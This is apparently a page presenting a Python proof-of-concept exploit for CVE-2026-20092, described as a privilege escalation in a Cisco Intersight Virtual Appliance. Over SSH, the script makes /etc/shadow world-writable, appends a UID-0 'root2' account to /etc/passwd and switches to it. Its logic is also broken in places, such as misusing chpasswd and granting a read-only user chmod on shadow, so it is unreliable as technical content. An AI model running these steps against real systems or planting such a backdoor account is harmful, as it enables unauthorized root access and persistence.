CVE-2026-20092 Cisco Intersight Virtual Appliance权限提升漏洞

# CVE-2026-20092 PoC - Cisco Intersight Virtual Appliance Privilege Escalation # This is a conceptual PoC for educational purposes only import paramiko import time def exploit_cve_2026_20092(target_ip, username, password): """ Exploit CVE-2026-20092: Privilege Escalation in Cisco Intersight Virtual Appliance Requirements: - Valid read-only administrator credentials - Local access to the maintenance shell """ try: # Connect to the target via SSH client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password) # Access maintenance shell as read-only admin stdin, stdout, stderr = client.exec_command('maintenance-shell') time.sleep(2) # Step 1: Identify misconfigured configuration files # Look for files with world-writable permissions stdin.write('find /etc -type f -perm -0777 2>/dev/null\n') time.sleep(1) output = stdout.read().decode() # Step 2: Modify system account configuration # Exploit improper file permissions to gain root access stdin.write('chmod 777 /etc/shadow\n') time.sleep(1) # Step 3: Modify /etc/passwd to add root-equivalent user stdin.write('echo "root2:x:0:0:root:/root:/bin/bash" >> /etc/passwd\n') time.sleep(1) # Step 4: Set password for new root user stdin.write('chpasswd < /etc/passwd\n') time.sleep(1) # Step 5: Gain root access stdin.write('su root2\n') time.sleep(2) # Verify root access stdin.write('whoami\n') root_check = stdout.read().decode() if 'root' in root_check: print('[+] Privilege Escalation Successful!') print('[+] Root access obtained on', target_ip) else: print('[-] Exploitation failed') client.close() except Exception as e: print(f'[-] Error: {str(e)}') # Usage example # exploit_cve_2026_20092('192.168.1.100', 'readonly_admin', 'password123') # Note: This PoC demonstrates the conceptual attack vector. # Actual exploitation requires specific knowledge of the vulnerable configuration files.